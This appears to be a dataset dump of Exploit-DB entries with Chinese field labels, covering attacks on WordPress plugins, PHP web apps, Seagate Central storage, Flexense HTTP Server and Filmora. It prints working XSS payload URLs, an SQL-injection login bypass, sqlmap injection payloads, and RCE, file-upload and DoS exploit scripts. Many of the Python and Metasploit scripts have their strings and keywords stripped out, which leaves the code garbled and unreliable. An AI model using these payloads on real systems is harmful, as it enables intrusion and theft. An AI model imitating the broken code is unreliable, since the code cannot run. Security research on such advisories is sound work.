QLWD/code_shield huggingface dataset:
标题: Tree Page View Plugin 1.6.7 - Cross Site Scripting (XSS) EDB-ID: 51507 CVE: 2023-30868 类型: WEBAPPS 平台: PHP 发布日期: 2023-06-06 漏洞利用脚本: # Exploit Title: Tree Page View Plugin 1.6.7 - Cross Site Scripting (XSS)
# Google Dork: inurl:/wp-content/plugins/cms-tree-page-view/
# Date: 2023-04-24
# Exploit Author: LEE SE HYOUNG (hackintoanetwork)
# Vendor Homepage: https://wordpress.org/plugins/cms-tree-page-view/
# Software Link: https://downloads.wordpress.org/plugin/cms-tree-page-view.1.6.6.zip
# Category: Web Application
# Version: 1.6.7
# Tested on: Debian / WordPress 6.1.1
# CVE : CVE-2023-30868
# Reference: https://patchstack.com/database/vulnerability/cms-tree-page-view/wordpress-cms-tree-page-view-plugin-1-6-7-cross-site-scripting-xss-vulnerability?_s_id=cve

# 1. Technical Description:
The CMS Tree Page View plugin for WordPress has a Reflected Cross-Site Scripting vulnerability up to version 1.6.7.
This is due to the post_type parameter not properly escaping user input. As a result, users with administrator privileges or higher can inject JavaScript code that will execute whenever accessed.


# 2. Proof of Concept (PoC):

WordPress CMS Tree Page View Plugin <= 1.6.7 Cross-Site Scripting (XSS)
In the case of this vulnerability, there are two XSS PoCs available: one for version 1.6.6 and another for version 1.6.7.

1. CMS Tree Page View Plugin <= 1.6.6

  a. Send the following URL to users with administrator privileges or higher: http://localhost:8888/wp-admin/edit.php?page=cms-tpv-page-post&post_type=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E.

  b.  your payload will be executed.  [!] note : To make the payload work, the "In menu" option under Settings -> CMS Tree Page View -> Select where to show a tree for pages and custom post types needs to be enabled for posts.

2. CMS Tree Page View Plugin <= 1.6.7

  a. Send the following URL to users with administrator privileges or higher: http://localhost:8888/wp-admin/edit.php?page=cms-tpv-page-post&post_type=%22+accesskey%3DC+onclick%3Djavascript%3Aalert%281%29%3B+a%3D%22.

  b. Your payload will execute the script when the user presses Ctrl + Alt + c (Mac) or Alt + Shift + c (Windows).
 [!] note : To make the payload work, the "In menu" option under Settings -> CMS Tree Page View -> Select where to show a tree for pages and custom post types needs to be enabled for posts. URL: https://www.exploit-db.com/exploits/51507
标题: WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution EDB-ID: 51510 CVE: 2021-24499 类型: WEBAPPS 平台: PHP 发布日期: 2023-06-09 漏洞利用脚本: # Exploit Title: WordPress Theme Workreap 2.2.2 - Unauthenticated Upload Leading to Remote Code Execution
# Dork: inurl:/wp-content/themes/workreap/
# Date: 2023-06-01
# Category : Webapps
# Vendor Homepage: https://themeforest.net/item/workreap-freelance-marketplace-wordpress-theme/23712454
# Exploit Author: Mohammad Hossein Khanaki(Mr_B0hl00l)
# Version: 2.2.2
# Tested on: Windows/Linux
# CVE: CVE-2021-24499


 requests
 random
 string
 sys


 
    banner  
    f

 target
    
    url  target  
    body    random_str  
    data   
    response  requestsposturl datadata files file_name body
       responsetext
        f
        check_php_filetarget
    
        f

 target
    response_2  requestsgettarget    file_name
     random_str  response_2text
        f
          target   file_name
        question  f
         question    question  
            
            get_rcetarget
        
            usage
    
        f

 target
    file_name  joinrandomchoicesstringascii_lowercase  stringdigits k  
    body  
    data   
    response_3  requestsposttarget   datadata files file_name body
    f
     
        command  f
        f
        response_4  requestsgettarget    file_name  f
        f


 __name__  
     GREEN  RED YELLOW BOLD ENDC
    GREEN  
    RED  
    YELLOW  
    BOLD  
    ENDC  
    file_name  joinrandomchoicesstringascii_lowercase  stringdigits k  
    random_str  joinrandomchoicesstringascii_lowercase  stringdigits k
    
        upload_filesysargv
     IndexError
            usage
     requestsexceptionsRequestException  e URL: https://www.exploit-db.com/exploits/51510
标题: File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution (RCE) EDB-ID: 51505 CVE: 2023-2068 类型: WEBAPPS 平台: PHP 发布日期: 2023-06-04 漏洞利用脚本: # Exploit Title: File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution (RCE)
# Date: 05/31/2023
# Exploit Author: Mateus Machado Tesser
# Vendor Homepage: https://advancedfilemanager.com/
# Version: File Manager Advanced Shortcode 2.3.2
# Tested on: Wordpress 6.1 / Linux (Ubuntu) 5.15
# CVE: CVE-2023-2068

import requests
import json
import pprint
 sys
 re

PROCESS  
SUCCESS  
FAIL  


 COMMAND  sysargv
 IP  sysargv
  COMMAND  
  
  IP
  
 
  f

 

url  IP 
f


 r  requestsgeturl
 raw_fmakey  rtext
 fmakey  refindallraw_fmakeyreMULTILINEsplit
  fmakey  
  f

 f

f
url  IP
headers       
data  
data  
data  
data  
data  
data  fmakey
data  
data  
data  
data  
data  
data  
data  
data  
data  
data  
data  
data  
data  
r  requestsposturl headersheaders datadata
f
   rtext
 f
 sysexit
 rheadersstartswith
 f
 sysexit

 f
exploited  jsonloadsrtext
url  
f
 i  exploited
 url  i
f
r  requestsgeturlCOMMAND
frtext URL: https://www.exploit-db.com/exploits/51505
标题: Enrollment System Project v1.0 - SQL Injection Authentication Bypass (SQLI) EDB-ID: 51501 CVE: 2023-33584 类型: WEBAPPS 平台: PHP 发布日期: 2023-06-04 漏洞利用脚本: # Exploit Title: Enrollment System Project v1.0 - SQL Injection Authentication Bypass (SQLI)
# Date of found: 18/05/2023
# Exploit Author: VIVEK CHOUDHARY @sudovivek
# Version: V1.0
# Tested on: Windows 10
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14444/enrollment-system-project-source-code-using-phpmysql.html
# CVE: CVE-2023-33584
# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33584

Vulnerability Description -

 Enrollment System Project V1.0, developed by Sourcecodester, has been found to be vulnerable to SQL Injection (SQLI) attacks. This vulnerability allows an attacker to manipulate the SQL queries executed by the application. The system fails to properly validate user-supplied input in the username and password fields during the login process, enabling an attacker to inject malicious SQL code. By exploiting this vulnerability, an attacker can bypass authentication and gain unauthorized access to the system.


Steps to Reproduce -

 The following steps outline the exploitation of the SQL Injection vulnerability in Enrollment System Project V1.0:

     1. Launch the Enrollment System Project V1.0 application.

     2. Open the login page by accessing the URL: http://localhost/enrollment/login.php.

     3. In the username and password fields, insert the following SQL Injection payload shown inside brackets to bypass authentication: {' or 1=1 #}.

     4. Click the login button to execute the SQL Injection payload.


As a result of successful exploitation, the attacker gains unauthorized access to the system and is logged in with administrative privileges. URL: https://www.exploit-db.com/exploits/51501
标题: Online Security Guards Hiring System 1.0 - Reflected XSS EDB-ID: 51494 CVE: 2023-0527 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-31 漏洞利用脚本: #Exploit Title: Online Security Guards Hiring System 1.0 – REFLECTED XSS 
#Google Dork : NA
#Date: 23-01-2023
#Exploit Author : AFFAN AHMED
#Vendor Homepage: https://phpgurukul.com
#Software Link: https://phpgurukul.com/projects/Online-Security-Guard-Hiring-System_PHP.zip
#Version: 1.0
#Tested on: Windows 11 + XAMPP + PYTHON-3.X
#CVE : CVE-2023-0527

#NOTE: TO RUN THE PROGRAM FIRST SETUP THE CODE WITH XAMPP AND THEN RUN THE BELOW PYTHON CODE TO EXPLOIT IT
# Below code check for both the parameter /admin-profile.php and in /search.php




 requests 
 re 
 colorama  Fore

ForeYELLOW    ForeRESET
ForeRED    ForeRESET
ForeRED    ForeRESET
ForeRED    ForeRESET
ForeRED    ForeRESET
ForeYELLOW   ForeRESET


ForeRED ForeRESET




Website_url      
ForeRED ForeRESET
ForeCYAN    ForeRESET
ForeREDForeRESET

Admin_login_credentials       

headers  
     
     
     
     
     
     
     
     
     
     
     
     


response  requestsrequest Website_url headersheaders data  Admin_login_credentials
 responsestatus_code  
    location  refindallrresponsetext
     location
        ForeGREEN  ForeRESET
        ForeGREEN   ForeRESETlocation 
    
        ForeGREEN   ForeRESET

    ForeGREEN   responsestatus_code  ForeRESET
ForeRED ForeRESET
ForeCYAN    ForeRESET




Website_url    



payload  
           
                                                           
     
     
     



response  requestspostWebsite_url headersheaders datapayload

ForeRED ForeRESET

 responsestatus_code  
    scripts  refindallr responsetext
    ForeGREEN   ForeRESET 
    ForeGREENForeRESETscripts URL: https://www.exploit-db.com/exploits/51494
标题: Faculty Evaluation System 1.0 - Unauthenticated File Upload EDB-ID: 51495 CVE: 2023-33440 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-31 漏洞利用脚本: # Exploit Title: Faculty Evaluation System 1.0 - Unauthenticated File Upload
# Date: 5/29/2023
# Author: Alex Gan
# Vendor Homepage: https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/eval_2.zip
# Version: 1.0
# Tested on: LAMP Fedora server 38 (Thirty Eight) Apache/2.4.57 10.5.19-MariaDB PHP 8.2.6
# CVE: CVE-2023-33440
# References: https://nvd.nist.gov/vuln/detail/CVE-2023-33440
#     https://www.exploit-db.com/exploits/49320
#           https://github.com/F14me7wq/bug_report/tree/main/vendors/oretnom23/faculty-evaluation-system
#             

 os
 sys
 requests
 argparse
 bs4  BeautifulSoup
 urllibparse  urlparse
 requestsexceptions  ConnectionError Timeout

 
    parser  argparseArgumentParser
    parseradd_argument   
    parseradd_argument   
     parserparse_args

 args
      argsurl
        argsurl  
      argspayload
        argspayload  
     argsurl argspayload

 url
    parsed_url  urlparseurl
      parsed_urlscheme
        url    url
     parsed_urlpathendswith
        url  urlrstrip
     url

 url
    
        response  requestsheadurlurl  
         responsestatus_code  
            
        
            
             responsestatus_code
            sysexit
     ConnectionError Timeout  e
        
        sysexit
     requestsexceptionsRequestException  e
         e
        sysexit

 url method files
     method  
        response  requestsgeturl
     method  
        response  requestsposturl filesfiles
    
         ValueErrorf
    
     responsestatus_code  
        
         responsetext
    
        f
         

 response_get filename find_url
    soup  BeautifulSoupresponse_get 

    links  soupfind_all
    found_files  

     link  links
        file_upl  linkget
         file_uplendswithfilename
            found_filesappendfile_upl

     found_files
        
           found_files
              

        
         file_url  found_files
              find_url  file_url
    
        

 
    args  get_args
    url payload  get_user_inputargs
    url  check_input_urlurl
    check_host_availabilityurl

    post_url  url  
    get_url  url  
    filename  ospathbasenamepayload
    payload_file  filenameargspayload
    
    
    make_requestpost_url   filespayload_file
    
    response_get  make_requestget_url 
    
    find_fileresponse_get filename get_url

 __name__  
    main URL: https://www.exploit-db.com/exploits/51495
标题: Flexense HTTP Server 10.6.24 - Buffer Overflow (DoS) (Metasploit) EDB-ID: 51493 CVE: 2018-8065 类型: REMOTE 平台: MULTIPLE 发布日期: 2023-05-31 漏洞利用脚本: ##
# Exploit Title: Flexense HTTP Server 10.6.24 - Buffer Overflow (DoS) (Metasploit)
# Date: 2018-03-09
# Exploit Author: Ege Balci
# Vendor Homepage: https://www.flexense.com/downloads.html
# Version: <= 10.6.24
# CVE : CVE-2018-8065

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Dos
  include 

   info  
    info
                  
           
            
               
           
        
            
             
        
        

    
      
        
                  
                    
      

  

   check
    
      connect
      sock
      res  sockget
       res  resinclude 
        
      
        
      
     
      
      
    
      
      
    
  

   run
     check  
       
    

    size  datastoreto_i
    

    count  
    loop 
      payload  
      payload      
      payload  
      payload    size
      payload  
      
        connect
        sockpayload
        disconnect
        count  
          countdatastore URL: https://www.exploit-db.com/exploits/51493
标题: SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated) EDB-ID: 51488 CVE: 2023-33829 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-05-25 漏洞利用脚本: #!/usr/bin/python3

# Exploit Title: SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated)
# Google Dork: intitle:"SCM Manager" intext:1.60
# Date: 05-25-2023
# Exploit Author: neg0x (https://github.com/n3gox/CVE-2023-33829)
# Vendor Homepage: https://scm-manager.org/
# Software Link: https://scm-manager.org/docs/1.x/en/getting-started/
# Version: 1.2 <= 1.60
# Tested on: Debian based
# CVE: CVE-2023-33829

# Modules
import requests
 argparse
 sys


parser  argparseArgumentParserdescription
parseradd_argument  
parseradd_argument  
args  parserparse_args



user  sysargv
password  sysargv



main_url   
auth_url  main_url  
users  main_url  
groups  main_url  
repos  main_url  


session  requestsSession


post_data
  user 
  password 


r  sessionpostauth_url datapost_data

 rstatus_code  
 

 
 sysexit

new_user

  
  
  
  
  
  
  



create_user  sessionpostusers jsonnew_user


new_group

  
  
  



create_group  sessionpostgroups jsonnew_group


new_repo

  
  
  
  
  



create_repo  sessionpostrepos jsonnew_repo URL: https://www.exploit-db.com/exploits/51488
标题: Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit) EDB-ID: 51487 CVE: 2020-6627 类型: REMOTE 平台: HARDWARE 发布日期: 2023-05-25 漏洞利用脚本: ##
# Exploit Title: Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit)
# Date: Dec 9 2019
# Exploit Author: Ege Balci
# Vendor Homepage: https://www.seagate.com/de/de/support/external-hard-drives/network-storage/seagate-central/
# Version: 2015.0916
# CVE : 2020-6627

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

 
 
 

   
    
  include 
  include 

   info
    info
                  
           
               
               
        
           
        
           
        
           
           
        
        
        
            
            
        
              
                  
              
      
          
               
            
        
      
              
        
          
            
                
                
            
          
        
            
        
         
    


    
      
            
            
       
    

    
      
            
            
      
    

  

   check
    res  
           
              target_uripath
        
          
      
    

     res  resbodyinclude  resbodyinclude
      
    
      
    
  

   exploit

    
    first_state
     first_state
      
    
      
    

     first_state  
      
      first_state  
      res  
          
          target_uripath
          
           
      

      changed_state
       changed_state  changed_state  
        
      
        
        
      
    

    name  rand_name_male
    user  datastore  
    pass  datastore  

    
    
    

    
    res  
           
              target_uripath
        
        
          
      
        user user user fullname name pwd pass email  isAdmin  uid  action 
    


    conn  userpass
     conn
      
      connlsock
    

  



   user pass
    factory  ssh_socket_factory
    opts  
            
                   
              
                 
               pass
                  factory
        
        
    

    optsmerge    datastore

    
      ssh  
      datastore 
        ssh  rhost user opts
      
     
      fail_with  
      
      print_error 
      
     
      print_error 
      
     
      print_error 
       e
      print_error 
      
    

     ssh
      conn  ssh
      ssh  
       conn
    

     
  

   get_state
    res  
           
              target_uripath
        
          
      
    

     res  rescode   rescode  
       resget_json_document
    
    res URL: https://www.exploit-db.com/exploits/51487
标题: Service Provider Management System v1.0 - SQL Injection EDB-ID: 51482 CVE: 2023-34581 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-24 漏洞利用脚本: # Exploit Title: Service Provider Management System v1.0 - SQL Injection
# Date: 2023-05-23
# Exploit Author: Ashik Kunjumon
# Vendor Homepage: https://www.sourcecodester.com/users/lewa
# Software Link: https://www.sourcecodester.com/php/16501/service-provider-management-system-using-php-and-mysql-source-code-free-download.html
# Version: 1.0
# Tested on: Windows/Linux

1. Description:

Service Provider Management System v1.0 allows SQL Injection via ID
parameter in /php-spms/?page=services/view&id=2
Exploiting this issue could allow an attacker to compromise the
application, access or modify data,
or exploit the latest vulnerabilities in the underlying database.

Endpoint: /php-spms/?page=services/view&id=2

Vulnerable parameter: id (GET)

2. Proof of Concept:
----------------------

Step 1 - By visiting the url:
http://localhost/php-spms/?page=services/view&id=2 just add single quote to
verify the SQL Injection.
Step 2 - Run sqlmap -u " http://localhost/php-spms/?page=services/view&id=2"
-p id --dbms=mysql

SQLMap Response:
----------------------
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=services/view&id=1' AND 8462=8462 AND 'jgHw'='jgHw

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: page=services/view&id=1' AND (SELECT 1839 FROM(SELECT
COUNT(*),CONCAT(0x7178717171,(SELECT
(ELT(1839=1839,1))),0x7176786271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Cqhk'='Cqhk

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=services/view&id=1' AND (SELECT 1072 FROM
(SELECT(SLEEP(5)))lurz) AND 'RQzT'='RQzT URL: https://www.exploit-db.com/exploits/51482
标题: Filmora 12 version ( Build 1.0.0.7) - Unquoted Service Paths Privilege Escalation EDB-ID: 51483 CVE: 2023-31747 类型: LOCAL 平台: WINDOWS 发布日期: 2023-05-25 漏洞利用脚本: # Exploit Title: Filmora 12 version ( Build 1.0.0.7) - Unquoted Service Paths Privilege Escalation
# Date: 20  May 2023
# Exploit Author: Thurein Soe
# Vendor Homepage: https://filmora.wondershare.com
# Software Link: https://mega.nz/file/tQNGGZTQ#E1u20rdbT4R3pgSoUBG93IPAXqesJ5yyn6T8RlMFxaE
# Version: Filmora 12 ( Build 1.0.0.7)
# Tested on: Windows 10 (Version 10.0.19045.2965)
# CVE : CVE-2023-31747


Vulnerability description:
Filmora is a professional video editing software. Wondershare NativePush
Build 1.0.0.7 was part of Filmora 12 (Build 12.2.1.2088). Wondershare
NativePush Build 1.0.0.7 was installed while Filmora 12 was installed. The
service name "NativePushService" was vulnerable to unquoted service paths
vulnerability which led to full local privilege escalation in the affected
window operating system as the service "NativePushService" was running with
system privilege that the local user has write access to the directory
where the service is located. Effectively, the local user is able to
elevate to local admin upon successfully replacing the affected executable.


C:\sc qc NativePushService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NativePushService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   :
C:\Users\HninKayThayar\AppData\Local\Wondershare\Wondershare
NativePush\WsNativePushService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Native Push Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\cacls "C:\Users\HninKayThayar\AppData\Local\Wondershare\Wondershare
NativePush\WsNativePushService.exe"

C:\Users\HninKayThayar\AppData\Local\Wondershare\Wondershare
NativePush\WsNativePushService.exe

BUILTIN\Users:(ID)F

                      NT AUTHORITY\SYSTEM:(ID)F

                      BUILTIN\Administrators:(ID)F

                      HNINKAYTHAYAR\HninKayThayar:(ID)F URL: https://www.exploit-db.com/exploits/51483
标题: FusionInvoice 2023-1.0 - Stored XSS (Cross-Site Scripting) EDB-ID: 51480 CVE: 2023-25439 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title: FusionInvoice 2023-1.0 - Stored XSS (Cross-Site Scripting)
# Date: 2023-05-24
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.squarepiginteractive.com
# Software Link: https://www.fusioninvoice.com/store
# Version: 2023-1.0
# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 113.0.1, Microsoft Edge 113.0.1774.50)
# CVE: CVE-2023-25439

Description:

A stored cross-site scripting (XSS) vulnerability in FusionInvoice 2023-1.0 (from Sqware Pig, LLC) allows attacker to
execute arbitrary web scripts or HTML.

Injecting persistent javascript code inside the title and/or description while creating a task/expense/project (and
possibly others) it will be triggered once page gets loaded.


Steps to reproduce:

- Click on "Expenses", or "Tasks" and add (or edit an existing) one,
- Insert a payload PoC inside a field, in example in the "Phone number" (or "Description"),
- Click on 'Save'.

Visiting the website dashboard, as well as the customer or project summary page, the javascript code will be executed.


PoC Screenshots:

https://imagebin.ca/v/7FOZfztkDs3I URL: https://www.exploit-db.com/exploits/51480
标题: CiviCRM 5.59.alpha1 - Stored XSS (Cross-Site Scripting) EDB-ID: 51478 CVE: 2023-25440 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title: CiviCRM 5.59.alpha1 - Stored XSS (Cross-Site Scripting)
# Date: 2023-02-02
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://civicrm.org
# Software Link: https://civicrm.org/download
# Version: 5.59.alpha1, 5.58.0 (and earlier), 5.57.3 (and earlier)
# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 109.0.1, Microsoft Edge 109.0.1518.70)
# CVE: CVE-2023-25440 
Vendor Security Advisory: CIVI-SA-2023-05


Description:

A stored cross-site scripting (XSS) vulnerability in CiviCRM 5.59.alpha1 allows attacker to execute arbitrary web
scripts or HTML.

Injecting persistent javascript code inside the "Add Contact" function while creating a contact, in first/second name
field, it will be triggered once page gets loaded.


Steps to reproduce:

- Quick Add contact to CiviCRM,
- Insert a payload PoC inside the field(s)
- Click on 'Add contact'.

If a user visits the dashboard, as well as "Recently added" box, the javascript code will be rendered. URL: https://www.exploit-db.com/exploits/51478